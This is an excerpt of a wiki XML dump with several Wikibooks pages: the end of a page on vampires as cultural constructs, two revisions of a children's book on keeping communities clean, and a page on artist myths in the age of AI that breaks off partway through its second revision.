A cultural construct is an idea, belief, or pattern of behavior that a society creates and passes down through shared experience. Cultural constructs are not universal or natural; they emerge from a community’s history, environment, values, fears, and storytelling traditions. They help define how a culture understands the world and how it teaches meaning to its members.

Examples of cultural constructs include beauty standards, taboos, rituals, moral lessons, and supernatural beings. These constructs reveal what a society protects, what it fears, and what it considers important.

Vampires as Cultural Constructs: &lt;br&gt;
Vampires are not simply fictional monsters. They are cultural responses to real concerns within the communities that created them. Each tradition’s vampire reflects specific social anxieties, spiritual beliefs, and historical conditions.

Different cultures developed different vampire figures because they faced different threats and held different worldviews. For example, some traditions focus on improper burial, others on spiritual imbalance, and others on community betrayal. These variations show how cultural constructs adapt to local needs and values.

Using Cultural Constructs in Vampire Lore: &lt;br&gt;
Writers can use cultural constructs to create richer and more respectful vampire lore. Instead of inventing traits randomly, writers can build vampires from the logic of a culture’s worldview.

This process begins by identifying the fears and values of the culture being represented. A vampire may embody a fear of contamination, betrayal, spiritual imbalance, or loss of identity. It may violate a cultural value such as purity, lineage, ritual correctness, or community cohesion.

By grounding vampire traits in cultural meaning, writers create lore that feels authentic rather than generic.
&lt;br&gt;
=== What Is A Cultural Vampire Construct? ===
&quot;A cultural vampire construct is a theoretical framework in cultural studies and literary criticism that views the vampire not just as a monster, but as a symbol created by society to represent deeper anxieties, power dynamics, and economic systems.&quot; [3] &lt;br&gt;
&lt;br&gt;
Q: How do people treat vampires in Fiction? &lt;br&gt;
Q: What cultural constructs in Fiction limit a vampire character from developing? &lt;br&gt;
Q: What ideas or beliefs help, or harm, vampires in Fiction? &lt;br&gt;
Q: Does the vampire symbolize something greater? &lt;br&gt;
Q: What cultural fears can the vampire character reflect?

&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Create_Vampires/Vampires_In_Popular_Culture


{| class=&quot;wikitable&quot;
|+ References
|-
! What Is A Cultural Construct?
|-
|1. [https://www.studysmarter.co.uk/explanations/anthropology/cultural-anthropology/cultural-constructs/ www.studysmarter.co.uk - Cultural Construct]
|-
| 2. Wheeler, Kip &quot;What is the meaning of 'cultural construct?' 2021 quora.com
|-
| 3. SSRN eLibrary https://papers.ssrn.com Zurutuza, Kristian Perez. The Vampire as the Gender and Racial Construction of Western Capitalism's White Masculinity in English and American Gothic Literature. Date Written: November 1, 2015
|}

&lt;br&gt;

{{BookCat}}</text>
      <sha1>mpdbc2sxd26uzjgo6fb2oj8d3g4me1b</sha1>
    </revision>
  </page>
  <page>
    <title>User:Pamela Talemwa/sandbox/A Young Reader's Guide to a Healthy Environment</title>
    <ns>2</ns>
    <id>485425</id>
    <revision>
      <id>4670437</id>
      <parentid>4670048</parentid>
      <timestamp>2026-09-16T14:07:17Z</timestamp>
      <contributor>
        <username>Pamela Talemwa</username>
        <id>3622070</id>
      </contributor>
      <comment>/* Importance of Trees */ added a reference</comment>
      <origin>4670437</origin>
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      <text bytes="15550" sha1="mf6t4uwz71o8c6bivnc7pg387vqyzhx" xml:space="preserve">== '''&lt;big&gt;A Young Reader's Guide to a Clean and Healthy Community.&lt;/big&gt;''' ==
&lt;big&gt;'''Theme.'''&lt;/big&gt;

Learning to Care for Our Environment, Our Health and Our Community

=== Purpose of the Book: ===

=== &lt;small&gt;The book aims to help children understand their role in creating and maintaining a clean, safe and healthy community.&lt;/small&gt; ===
&lt;big&gt;'''Target Readers.'''&lt;/big&gt;

Primary Four Learners

== '''Book Summary:''' ==
A Young Reader’s Guide to a Clean and Healthy Community is an educational book for Primary 4–6 learners that teaches children how to care for their homes, schools and communities. The book begins by helping children understand what a community is and why everyone has a responsibility to care for it. It then introduces proper waste management, protection of water sources, the importance of trees, teamwork and children's leadership. Through simple explanations, stories, activities and discussion questions, learners are encouraged to move from simply learning about environmental problems to taking positive action.

== '''&lt;big&gt;Table of Contents:&lt;/big&gt;''' ==

== '''Introduction:''' ==
Our environment is our home. We live, learn, play and grow in it. Keeping it clean and healthy helps us stay safe and happy.

This book teaches young readers simple ways to care for their homes, schools and communities. Through short stories, activities and questions, children will learn about rubbish, clean water, trees, teamwork and responsibility.

Remember, '''small actions can make a big difference!'''

== '''Chapters:''' ==

== '''Chapter One: Our Community, Our Responsibility''' ==
*Understanding a community
* Caring for our surroundings
* Children's responsibilities

== '''Chapter Two: Every Piece of rubbish has a Place''' ==

*Types of waste
* Proper waste disposal
* Reusing materials
* Keeping schools and libraries clean

== '''Chapter Three: Water Is Life''' ==
* Importance of water
* Protecting water sources
* Safe water practices
* Effects of water pollution

== '''Chapter Four: Trees Are Our Friends''' ==
* Importance of trees
* Protecting and planting trees
* Caring for gardens

== '''Chapter Five: Working Together''' ==
* Teamwork
* Community clean-ups
* Helping neighbours
* Children's leadership

== '''Chapter Six: Be a Young Community Champion''' ==
* Taking responsibility
* Being an environmental role model
* Personal action plan
* Community challenge

=== Expected Outcome: ===
The book will encourage children to practise good hygiene, protect the environment, work together and take responsibility for creating cleaner, safer and healthier communities.

=== Conclusion: ===
The book will remind young readers that everyone has a role to play in protecting the environment and that '''small actions can make a big difference'''.

=== References: ===


= Chapter One: =

= Our Community, Our Responsibility =

=== Understanding a community ===
A community is a group of people who live, learn or work together in the same place. Examples of communities include homes, schools, villages and neighborhoods.

People in a community share places and resources. They should help one another and work together to solve problems.&lt;ref&gt;{{Cite web |title=Community shared resources: Connecting the Dots: The Impact of Shared Resources in Local Communities |url=https://fastercapital.com/content/Community-shared-resources--Connecting-the-Dots--The-Impact-of-Shared-Resources-in-Local-Communities.html |access-date=2026-09-14 |website=FasterCapital |language=en}}&lt;/ref&gt;

=== Caring for Our Surroundings ===
Our surroundings include the places, plants, animals, buildings and people around us. We should keep these places clean and safe.

We can care for our surroundings by:

* Putting rubbish in the right place.
* Cleaning our homes, classrooms and playgrounds.
* Protecting trees and plants.
* Keeping water sources clean.
* Avoiding damage to public property.
* Helping people who need support.

=== Children's Responsibilities ===
Children have an important role in caring for their communities. They can help by setting a good example and encouraging others to behave responsibly.&lt;ref&gt;{{Cite web |date=2024-06-05 |title=Empowering Kids to Make a Big Impact in Their Communities |url=https://sesameworkshop.org/resources/empowering-kids-to-make-a-big-impact-in-their-communities/ |access-date=2026-09-14 |website=Sesame Workshop |language=en-US}}&lt;/ref&gt;

Children should keep their books and learning materials safe, respect others, avoid littering and report dangerous or dirty places to trusted adults.

=== Short Story: The Rubbish Behind the Library ===
Some pupils noticed rubbish behind their school library. They decided to clean the area with the help of their teacher. They collected the rubbish, placed it in bins and planted flowers near the library.

The area became clean and beautiful. Other pupils followed their example.

'''Lesson:''' Everyone can help to improve the community.

=== Activity and Discussion ===

# What is a community?
# Name three ways of keeping your school clean.
# Why should children care for their surroundings?
# Organize a small classroom cleaning activity.


= Chapter Two: =

= Every Piece of Rubbish Has a Place =

=== Types of Waste ===
Waste is unwanted material that people throw away. Different types of waste include:

* '''Paper:''' books, newspapers and cartons.
* '''Plastic:''' bottles, bags and wrappers.
* '''Food waste:''' fruit peels and leftover food.
* '''Glass:''' broken bottles and jars.
* '''Metal:''' tins and cans.
* '''Natural waste:''' leaves, grass and small branches.&lt;ref&gt;{{Cite web |title=What is waste? – KS2 Science curriculum |url=https://www.bbc.co.uk/bitesize/articles/z2rhcj6 |access-date=2026-09-14 |website=BBC Bitesize |language=en-GB}}&lt;/ref&gt;

=== Proper Waste Disposal ===
Proper waste disposal means putting waste in the correct place. Rubbish should not be thrown on roads, in gardens, rivers or playgrounds.

We should use rubbish bins and follow the waste-disposal rules at home and school. Waste should be separated where possible so that reusable and recyclable materials can be collected&lt;ref&gt;{{Cite web |last=Gabriel |first=Mr |date=2024-09-12 |title=How to Dispose Waste Properly: A Guide to Proper Waste Management |url=https://whatisgreenliving.com/how-to-dispose-waste-properly/ |access-date=2026-09-14 |website=What is Green Living? |language=en-GB}}&lt;/ref&gt;.

=== Reusing Materials ===
Reusing means using an item again instead of throwing it away. For example:

* Old containers can be used as flowerpots.
* Cardboard can be used for art and craft activities.
* Glass jars can be used for storing safe materials.
* Old paper can be used for drawing or practising writing.
* Reusing materials reduces waste and saves resources&lt;ref&gt;{{Cite web |title=Topic 2 Reusing in daily life – CICLO |url=https://ciclo-project.eu/topic/topic-2-reusing-in-daily-life/ |access-date=2026-09-14 |language=en-GB}}&lt;/ref&gt;.

=== Keeping Schools and Libraries Clean ===
A clean school and library provide a good place for learning. Learners should:

* Put rubbish in bins.
* Keep desks and shelves clean.
* Handle books carefully.
* Avoid writing on walls and books.
* Return books to their proper places.
* Keep food and drinks away from books.&lt;ref&gt;{{Cite web |title=Client Challenge |url=https://www.scribd.com/document/713175530/How-to-Keep-Your-School-Clean#google_vignette |access-date=2026-09-14 |website=www.scribd.com}}&lt;/ref&gt;

=== Short Story: Amina's Big Idea ===
Amina saw many plastic bottles around her school. She suggested collecting the bottles and using some of them to make flower containers.

Her classmates helped her. Soon, the school had fewer bottles on the ground and more beautiful flowers.

'''Lesson:''' Waste materials can sometimes be reused in useful ways.

=== Practical Activity ===
Collect safe reusable materials and make a useful object, such as a flower pot, pencil holder or decoration.


= Chapter Three: =

= Water Is Life =

=== Importance of Water ===
Water is needed by people, animals and plants. We use water for:

* Drinking.
* Cooking.
* Washing.
* Cleaning.
* Farming.
* Growing plants.
* Keeping our bodies healthy.Without safe water, people and animals can become sick.

=== Protecting Water Sources ===
Water sources include wells, rivers, lakes, springs and rainwater tanks. We should protect them from pollution.

We can protect water sources by:

* Not throwing rubbish into water.
* Keeping animals away from drinking-water points.
* Avoiding washing dirty items near water sources.
* Planting trees and grass near water sources.
* Reporting damaged or polluted water points.&lt;ref&gt;{{Cite web |last=US EPA |first=OW |date=2015-03-27 |title=Basic Information about Source Water Protection |url=https://www.epa.gov/sourcewaterprotection/basic-information-about-source-water-protection |access-date=2026-09-14 |website=www.epa.gov |language=en}}&lt;/ref&gt;

=== Safe Water Practices ===
To keep drinking water safe, we should:

* Use clean containers.
* Keep water covered.
* Wash our hands before collecting water.
* Treat water when necessary.
* Avoid dipping dirty cups or hands into stored water.
* Keep drinking-water containers clean.&lt;ref&gt;{{Cite web |title=Client Challenge |url=https://www.scribd.com/document/753008722/SHN-Learning-Resource-Clean-and-Safe-Water |access-date=2026-09-14 |website=www.scribd.com}}&lt;/ref&gt;

=== Effects of Water Pollution ===
Water pollution happens when harmful materials enter water. Polluted water can cause diseases, kill fish and harm plants and animals.

Dirty water may contain germs that cause illnesses such as diarrhoea and other infections.&lt;ref&gt;{{Cite web |date=2023-11-10 |title=7 Effects Of Water Pollution |url=https://atlas-scientific.com/blog/effects-of-water-pollution/ |access-date=2026-09-14 |website=Atlas Scientific |language=en-US}}&lt;/ref&gt;

=== Short Story: The Dirty Stream ===
Children in a village noticed that their stream was becoming dirty. Some people were throwing rubbish into it.

The children spoke to their teacher and community leaders. Together, they organised a clean-up and encouraged people to stop dumping rubbish in the stream.

'''Lesson:''' Protecting water requires teamwork and responsible behaviour.

=== Water-Protection Challenge ===
For one week:

* Close taps properly after use.
* Use only the water you need.
* Keep water containers clean.
* Encourage others not to pollute water sources.&lt;ref&gt;{{Cite web |last=School |first=Centre Point |date=2026-07-24 |title=How Children Can Save Water: Easy Conservation Tips |url=https://centrepointschools.com/blogs/how-children-can-save-water/ |access-date=2026-09-14 |website=Educational &amp; Child Development Blogs |language=en-US}}&lt;/ref&gt;


= Chapter Four: =

= Trees Are Our Friends =

=== Importance of Trees ===
Trees are important to people, animals and the environment. They:

* Provide shade.
* Help to keep the air fresh.
* Protect the soil from erosion.
* Provide homes for birds and insects.
* Give us fruits, wood and other useful materials.
* Make our communities beautiful.

=== Protecting Trees ===
We should protect trees from unnecessary cutting, burning and damage. We should not break branches or remove young trees carelessly.

Children can help by watering trees, protecting young plants and informing adults when trees are being damaged.&lt;ref&gt;{{Cite web |title=How Can We Protect Trees: Essential Tips for Conservation – Forestry.com |url=https://forestry.com/guides/how-can-we-protect-trees/ |access-date=2026-09-16 |website=forestry.com |language=en}}&lt;/ref&gt;

=== Planting Trees ===
Tree planting helps to make the environment greener and healthier. When planting a tree, we should:

# Choose a suitable place.
# Dig a small hole.
# Plant the seedling carefully.
# Cover the roots with soil.
# Water the seedling.
# Protect it from animals and damage.

=== Caring for Gardens ===
School and community gardens need regular care. Children can help by:

* Watering plants.
* Removing weeds.
* Keeping gardens free from rubbish.
* Protecting plants from being stepped on.
* Adding compost when available.

=== Activity ===
Plant or care for a tree or flower at home or school. Observe it regularly and record how it changes.


= Chapter Five: =

= Working Together =

=== Teamwork ===
Teamwork means working together to achieve a shared goal. When people work as a team, tasks become easier and problems can be solved more quickly.

Good team members listen, share duties, respect one another and help those who need support.

=== Community Clean-ups ===
A community clean-up is an activity where people work together to improve their surroundings. During a clean-up, people may collect rubbish, clear paths, clean public places and plant trees.

Clean-ups should be organised safely with the guidance of adults. Children should avoid dangerous waste and sharp objects.

=== Helping Neighbours ===
We can help our neighbours by:

* Sharing useful information.
* Helping elderly or sick people when permitted.
* Joining community activities.
* Keeping shared places clean.
* Encouraging peaceful cooperation.

=== Children's Leadership ===
Children can be leaders by setting a good example. A responsible young leader:

* Listens to others.
* Speaks politely.
* Keeps promises.
* Takes responsibility.
* Encourages teamwork.
* Helps others to do what is right.

=== Activity ===
Work in a group and prepare a simple plan for cleaning one place at school or in your community.


= Chapter Six: =

= Be a Young Community Champion =

=== Taking Responsibility ===
Taking responsibility means doing what is right and caring for the things around us. A responsible child does not wait for others to do everything.

Children can take responsibility by keeping their surroundings clean, saving water, protecting trees and respecting public property.

=== Being an Environmental Role Model ===
An environmental role model shows good behaviour that others can copy. A young environmental role model:

* Does not litter.
* Uses water carefully.
* Reuses materials.
* Protects trees and plants.
* Keeps learning areas clean.
* Encourages friends to care for the environment.

=== My Personal Action Plan ===
I will:

* Put rubbish in the correct place.
* Keep my classroom and home clean.
* Save water.
* Care for trees and plants.
* Reuse materials when possible.
* Encourage my friends to protect the environment.

=== Community Challenge ===
Identify one environmental problem in your community. Discuss it with your teacher, parents or community leaders. Work with others to find a simple and safe solution.

Examples include:

* Too much rubbish around the school.
* Wasting water.
* Damaged trees.
* Dirty playgrounds.
* Blocked drainage channels.

== Expected Outcome ==
After reading this book, children should be able to:

* Explain the meaning of a clean and healthy environment.
* Identify different types of wastes.
* Practise proper waste disposal.
* Explain the importance of safe water.
* Protect and care for trees and gardens.
* Work together with others.
* Take responsibility for their homes, schools and communities.

= Conclusion =
A clean and healthy environment is everyone's responsibility. Children can make a difference through simple actions such as putting rubbish in the right place, protecting water, planting trees and helping others.

When we work together, we can make our homes, schools and communities cleaner, safer and healthier.

'''Be responsible. Be helpful. Be a young community champion!'''

= References =</text>
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      <text bytes="15547" sha1="p39au0tdw00z2pfaabuwqj6u87hg7ds" xml:space="preserve">== '''&lt;big&gt;A Young Reader's Guide to a Clean and Healthy Community.&lt;/big&gt;''' ==
&lt;big&gt;'''Theme.'''&lt;/big&gt;

Learning to Care for Our Environment, Our Health and Our Community

=== Purpose of the Book: ===

=== &lt;small&gt;The book aims to help children understand their role in creating and maintaining a clean, safe and healthy community.&lt;/small&gt; ===
&lt;big&gt;'''Target Readers.'''&lt;/big&gt;

Primary Four Learners

== '''Book Summary:''' ==
A Young Reader’s Guide to a Clean and Healthy Community is an educational book for Primary 4–6 learners that teaches children how to care for their homes, schools and communities. The book begins by helping children understand what a community is and why everyone has a responsibility to care for it. It then introduces proper waste management, protection of water sources, the importance of trees, teamwork and children's leadership. Through simple explanations, stories, activities and discussion questions, learners are encouraged to move from simply learning about environmental problems to taking positive action.

== '''&lt;big&gt;Table of Contents:&lt;/big&gt;''' ==

== '''Introduction:''' ==
Our environment is our home. We live, learn, play and grow in it. Keeping it clean and healthy helps us stay safe and happy.

This book teaches young readers simple ways to care for their homes, schools and communities. Through short stories, activities and questions, children will learn about rubbish, clean water, trees, teamwork and responsibility.

Remember, '''small actions can make a big difference!'''

== '''Chapters:''' ==

== '''Chapter One: Our Community, Our Responsibility''' ==
*Understanding a community
* Caring for our surroundings
* Children's responsibilities

== '''Chapter Two: Every Piece of rubbish has a Place''' ==

*Types of waste
* Proper waste disposal
* Reusing materials
* Keeping schools and libraries clean

== '''Chapter Three: Water Is Life''' ==
* Importance of water
* Protecting water sources
* Safe water practices
* Effects of water pollution

== '''Chapter Four: Trees Are Our Friends''' ==
* Importance of trees
* Protecting and planting trees
* Caring for gardens

== '''Chapter Five: Working Together''' ==
* Teamwork
* Community clean-ups
* Helping neighbours
* Children's leadership

== '''Chapter Six: Be a Young Community Champion''' ==
* Taking responsibility
* Being an environmental role model
* Personal action plan
* Community challenge

=== Expected Outcome: ===
The book will encourage children to practise good hygiene, protect the environment, work together and take responsibility for creating cleaner, safer and healthier communities.

=== Conclusion: ===
The book will remind young readers that everyone has a role to play in protecting the environment and that '''small actions can make a big difference'''.

=== References: ===


= Chapter One: =

= Our Community, Our Responsibility =

=== Understanding a community ===
A community is a group of people who live, learn or work together in the same place. Examples of communities include homes, schools, villages and neighborhoods.

People in a community share places and resources. They should help one another and work together to solve problems.&lt;ref&gt;{{Cite web |title=Community shared resources: Connecting the Dots: The Impact of Shared Resources in Local Communities |url=https://fastercapital.com/content/Community-shared-resources--Connecting-the-Dots--The-Impact-of-Shared-Resources-in-Local-Communities.html |access-date=2026-09-14 |website=FasterCapital |language=en}}&lt;/ref&gt;

=== Caring for Our Surroundings ===
Our surroundings include the places, plants, animals, buildings and people around us. We should keep these places clean and safe.

We can care for our surroundings by:

* Putting rubbish in the right place.
* Cleaning our homes, classrooms and playgrounds.
* Protecting trees and plants.
* Keeping water sources clean.
* Avoiding damage to public property.
* Helping people who need support.

=== Children's Responsibilities ===
Children have an important role in caring for their communities. They can help by setting a good example and encouraging others to behave responsibly.&lt;ref&gt;{{Cite web |date=2024-06-05 |title=Empowering Kids to Make a Big Impact in Their Communities |url=https://sesameworkshop.org/resources/empowering-kids-to-make-a-big-impact-in-their-communities/ |access-date=2026-09-14 |website=Sesame Workshop |language=en-US}}&lt;/ref&gt;

Children should keep their books and learning materials safe, respect others, avoid littering and report dangerous or dirty places to trusted adults.

=== Short Story: The Rubbish Behind the Library ===
Some pupils noticed rubbish behind their school library. They decided to clean the area with the help of their teacher. They collected the rubbish, placed it in bins and planted flowers near the library.

The area became clean and beautiful. Other pupils followed their example.

'''Lesson:''' Everyone can help to improve the community.

=== Activity and Discussion ===

# What is a community?
# Name three ways of keeping your school clean.
# Why should children care for their surroundings?
# Organize a small classroom cleaning activity.


= Chapter Two: =

= Every Piece of Rubbish Has a Place =

=== Types of Waste ===
Waste is unwanted material that people throw away. Different types of waste include:

* '''Paper:''' books, newspapers and cartons.
* '''Plastic:''' bottles, bags and wrappers.
* '''Food waste:''' fruit peels and leftover food.
* '''Glass:''' broken bottles and jars.
* '''Metal:''' tins and cans.
* '''Natural waste:''' leaves, grass and small branches.&lt;ref&gt;{{Cite web |title=What is waste? – KS2 Science curriculum |url=https://www.bbc.co.uk/bitesize/articles/z2rhcj6 |access-date=2026-09-14 |website=BBC Bitesize |language=en-GB}}&lt;/ref&gt;

=== Proper Waste Disposal ===
Proper waste disposal means putting waste in the correct place. Rubbish should not be thrown on roads, in gardens, rivers or playgrounds.

We should use rubbish bins and follow the waste-disposal rules at home and school. Waste should be separated where possible so that reusable and recyclable materials can be collected&lt;ref&gt;{{Cite web |last=Gabriel |first=Mr |date=2024-09-12 |title=How to Dispose Waste Properly: A Guide to Proper Waste Management |url=https://whatisgreenliving.com/how-to-dispose-waste-properly/ |access-date=2026-09-14 |website=What is Green Living? |language=en-GB}}&lt;/ref&gt;.

=== Reusing Materials ===
Reusing means using an item again instead of throwing it away. For example:

* Old containers can be used as flowerpots.
* Cardboard can be used for art and craft activities.
* Glass jars can be used for storing safe materials.
* Old paper can be used for drawing or practising writing.
* Reusing materials reduces waste and saves resources&lt;ref&gt;{{Cite web |title=Topic 2 Reusing in daily life – CICLO |url=https://ciclo-project.eu/topic/topic-2-reusing-in-daily-life/ |access-date=2026-09-14 |language=en-GB}}&lt;/ref&gt;.

=== Keeping Schools and Libraries Clean ===
A clean school and library provide a good place for learning. Learners should:

* Put rubbish in bins.
* Keep desks and shelves clean.
* Handle books carefully.
* Avoid writing on walls and books.
* Return books to their proper places.
* Keep food and drinks away from books.&lt;ref&gt;{{Cite web |title=Client Challenge |url=https://www.scribd.com/document/713175530/How-to-Keep-Your-School-Clean#google_vignette |access-date=2026-09-14 |website=www.scribd.com}}&lt;/ref&gt;

=== Short Story: Amina's Big Idea ===
Amina saw many plastic bottles around her school. She suggested collecting the bottles and using some of them to make flower containers.

Her classmates helped her. Soon, the school had fewer bottles on the ground and more beautiful flowers.

'''Lesson:''' Waste materials can sometimes be reused in useful ways.

=== Practical Activity ===
Collect safe reusable materials and make a useful object, such as a flower pot, pencil holder or decoration.


= Chapter Three: =

= Water Is Life =

=== Importance of Water ===
Water is needed by people, animals and plants. We use water for:

* Drinking.
* Cooking.
* Washing.
* Cleaning.
* Farming.
* Growing plants.
* Keeping our bodies healthy.Without safe water, people and animals can become sick.

=== Protecting Water Sources ===
Water sources include wells, rivers, lakes, springs and rainwater tanks. We should protect them from pollution.

We can protect water sources by:

* Not throwing rubbish into water.
* Keeping animals away from drinking-water points.
* Avoiding washing dirty items near water sources.
* Planting trees and grass near water sources.
* Reporting damaged or polluted water points.&lt;ref&gt;{{Cite web |last=US EPA |first=OW |date=2015-03-27 |title=Basic Information about Source Water Protection |url=https://www.epa.gov/sourcewaterprotection/basic-information-about-source-water-protection |access-date=2026-09-14 |website=www.epa.gov |language=en}}&lt;/ref&gt;

=== Safe Water Practices ===
To keep drinking water safe, we should:

* Use clean containers.
* Keep water covered.
* Wash our hands before collecting water.
* Treat water when necessary.
* Avoid dipping dirty cups or hands into stored water.
* Keep drinking-water containers clean.&lt;ref&gt;{{Cite web |title=Client Challenge |url=https://www.scribd.com/document/753008722/SHN-Learning-Resource-Clean-and-Safe-Water |access-date=2026-09-14 |website=www.scribd.com}}&lt;/ref&gt;

=== Effects of Water Pollution ===
Water pollution happens when harmful materials enter water. Polluted water can cause diseases, kill fish and harm plants and animals.

Dirty water may contain germs that cause illnesses such as diarrhea and other infections.&lt;ref&gt;{{Cite web |date=2023-11-10 |title=7 Effects Of Water Pollution |url=https://atlas-scientific.com/blog/effects-of-water-pollution/ |access-date=2026-09-14 |website=Atlas Scientific |language=en-US}}&lt;/ref&gt;

=== Short Story: The Dirty Stream ===
Children in a village noticed that their stream was becoming dirty. Some people were throwing rubbish into it.

The children spoke to their teacher and community leaders. Together, they organised a clean-up and encouraged people to stop dumping rubbish in the stream.

'''Lesson:''' Protecting water requires teamwork and responsible behavior.

=== Water-Protection Challenge ===
For one week:

* Close taps properly after use.
* Use only the water you need.
* Keep water containers clean.
* Encourage others not to pollute water sources.&lt;ref&gt;{{Cite web |last=School |first=Centre Point |date=2026-07-24 |title=How Children Can Save Water: Easy Conservation Tips |url=https://centrepointschools.com/blogs/how-children-can-save-water/ |access-date=2026-09-14 |website=Educational &amp; Child Development Blogs |language=en-US}}&lt;/ref&gt;


= Chapter Four: =

= Trees Are Our Friends =

=== Importance of Trees ===
Trees are important to people, animals and the environment. They:

* Provide shade.
* Help to keep the air fresh.
* Protect the soil from erosion.
* Provide homes for birds and insects.
* Give us fruits, wood and other useful materials.
* Make our communities beautiful.

=== Protecting Trees ===
We should protect trees from unnecessary cutting, burning and damage. We should not break branches or remove young trees carelessly.

Children can help by watering trees, protecting young plants and informing adults when trees are being damaged.&lt;ref&gt;{{Cite web |title=How Can We Protect Trees: Essential Tips for Conservation – Forestry.com |url=https://forestry.com/guides/how-can-we-protect-trees/ |access-date=2026-09-16 |website=forestry.com |language=en}}&lt;/ref&gt;

=== Planting Trees ===
Tree planting helps to make the environment greener and healthier. When planting a tree, we should:

# Choose a suitable place.
# Dig a small hole.
# Plant the seedling carefully.
# Cover the roots with soil.
# Water the seedling.
# Protect it from animals and damage.

=== Caring for Gardens ===
School and community gardens need regular care. Children can help by:

* Watering plants.
* Removing weeds.
* Keeping gardens free from rubbish.
* Protecting plants from being stepped on.
* Adding compost when available.

=== Activity ===
Plant or care for a tree or flower at home or school. Observe it regularly and record how it changes.


= Chapter Five: =

= Working Together =

=== Teamwork ===
Teamwork means working together to achieve a shared goal. When people work as a team, tasks become easier and problems can be solved more quickly.

Good team members listen, share duties, respect one another and help those who need support.

=== Community Clean-ups ===
A community clean-up is an activity where people work together to improve their surroundings. During a clean-up, people may collect rubbish, clear paths, clean public places and plant trees.

Clean-ups should be organised safely with the guidance of adults. Children should avoid dangerous waste and sharp objects.

=== Helping Neighbours ===
We can help our neighbours by:

* Sharing useful information.
* Helping elderly or sick people when permitted.
* Joining community activities.
* Keeping shared places clean.
* Encouraging peaceful cooperation.

=== Children's Leadership ===
Children can be leaders by setting a good example. A responsible young leader:

* Listens to others.
* Speaks politely.
* Keeps promises.
* Takes responsibility.
* Encourages teamwork.
* Helps others to do what is right.

=== Activity ===
Work in a group and prepare a simple plan for cleaning one place at school or in your community.


= Chapter Six: =

= Be a Young Community Champion =

=== Taking Responsibility ===
Taking responsibility means doing what is right and caring for the things around us. A responsible child does not wait for others to do everything.

Children can take responsibility by keeping their surroundings clean, saving water, protecting trees and respecting public property.

=== Being an Environmental Role Model ===
An environmental role model shows good behavior that others can copy. A young environmental role model:

* Does not litter.
* Uses water carefully.
* Reuses materials.
* Protects trees and plants.
* Keeps learning areas clean.
* Encourages friends to care for the environment.

=== My Personal Action Plan ===
I will:

* Put rubbish in the correct place.
* Keep my classroom and home clean.
* Save water.
* Care for trees and plants.
* Reuse materials when possible.
* Encourage my friends to protect the environment.

=== Community Challenge ===
Identify one environmental problem in your community. Discuss it with your teacher, parents or community leaders. Work with others to find a simple and safe solution.

Examples include:

* Too much rubbish around the school.
* Wasting water.
* Damaged trees.
* Dirty playgrounds.
* Blocked drainage channels.

== Expected Outcome ==
After reading this book, children should be able to:

* Explain the meaning of a clean and healthy environment.
* Identify different types of wastes.
* Practise proper waste disposal.
* Explain the importance of safe water.
* Protect and care for trees and gardens.
* Work together with others.
* Take responsibility for their homes, schools and communities.

= Conclusion =
A clean and healthy environment is everyone's responsibility. Children can make a difference through simple actions such as putting rubbish in the right place, protecting water, planting trees and helping others.

When we work together, we can make our homes, schools and communities cleaner, safer and healthier.

'''Be responsible. Be helpful. Be a young community champion!'''

= References =</text>
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    <title>Art And AI/The Mythology Of The Artist</title>
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      <text bytes="2869" sha1="njaxts0pteujsgzrzfl4dqg3wtytc93" xml:space="preserve">== The Mythology Of The Artist ==
&lt;br&gt;
There is a magical, mythical mindset among the general public, that some Artists can perform feats that seem nearly impossible, more mythical than practical. &lt;br&gt;
&lt;br&gt;
Many people believe that talented Artists are capable of creating Artworks with just a few brushes, paper and paint. People think that using just their hands, Artists are able to communicate realistic images that rival actual photographs, or that Artists may conjure up works of beauty from the air, powered only by their imaginations. &lt;br&gt;
&lt;br&gt;
Being an Artist is a special profession that many people reach for, yet few are successful at. &lt;br&gt;
Artist are not simply defined by their tools, or the techniques they have mastered, they are also defined by their vision, their ability to see what others overlook and bring it into the world. &lt;br&gt;
The Artist archetype is the one who reveals the unseen. &lt;br&gt;
&lt;br&gt;
Throughout history, Artist held the role of myth-maker, a person who shaped cultural stories by reinterpreting old folklore, myths and legends into visual masterpieces. &lt;br&gt;
&lt;br&gt;
Famous mythological painters include: Gustav Moreau, John Waterhouse, Pablo Picasso and Leonora Carrington. &lt;br&gt;
&lt;br&gt;
'''The Mythic Persona:''' &lt;br&gt;
&lt;br&gt;
Art critics and Art historians often write about iconic Artist, such as Jackson Pollock or Frederic Church, painters who have achieved larger-than-life status, and massive followings. These mythic painters have their personal identity tied to the act of creation, or to the American landscape. Other mythic personas may be tied to outer space, such as the futuristic musician Sun Ra. &lt;br&gt;
&lt;br&gt; 
According to '''&lt;u&gt;Feed Your Head: Art, Truth, And The Machine:&lt;/u&gt;''' &lt;br&gt;
In ancient traditions, the Artist was imagined as a vessel for divine inspiration, touched by muses or spirits. In the Renaissance, the Artist became a master of nature, capable of capturing reality with miraculous precision. [Feed Your Head: Art, Truth, And The Machine pg. 69] &lt;br&gt;
&lt;br&gt;
In our Post-Modern society, AI threatens these myths: &lt;br&gt;
- The myth of the lone genius &lt;br&gt;
- The romantic suffering Artist &lt;br&gt;
- The idea that skill equates with moral worth &lt;br&gt;
- The belief that mastery must be earned through pain and sacrifice. &lt;br&gt;
- The cultural bias that kept Art ''special'' at the top of the hierarchy. &lt;br&gt;
&lt;br&gt;
Perhaps there is a cultural bias that views Art as having value because it is difficult to produce. In our Post-Modern era, there appears to be a cultural shift from individual mastery, towards collective labor and collective imagination. &lt;br&gt;
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Art_And_AI/The_Psychology_Of_Mastery

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&lt;br&gt;
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      <text bytes="2796" sha1="7jb99ylt0rlnlm2yejqqb0848xquwin" xml:space="preserve">== The Mythology Of The Artist ==
&lt;br&gt;
There is a magical, mythical mindset among the general public, that some Artists can perform feats that seem nearly impossible, more mythical than practical. &lt;br&gt;
&lt;br&gt;
Many people believe that talented Artists are capable of creating Artworks with just a few brushes, paper and paint. People think that using just their hands, Artists are able to communicate realistic images that rival actual photographs, or that Artists may conjure up works of beauty from the air, powered only by their imaginations. &lt;br&gt;
&lt;br&gt;
Being an Artist is a special profession that many people reach for, yet few are successful at. &lt;br&gt;
Artist are not simply defined by their tools, or the techniques they have mastered, they are also defined by their vision, their ability to see what others overlook and bring it into the world. &lt;br&gt;
The Artist archetype is the one who reveals the unseen. &lt;br&gt;
&lt;br&gt;
Throughout history, Artist held the role of myth-maker, a person who shaped cultural stories by reinterpreting old folklore, myths and legends into visual masterpieces. &lt;br&gt;
&lt;br&gt;
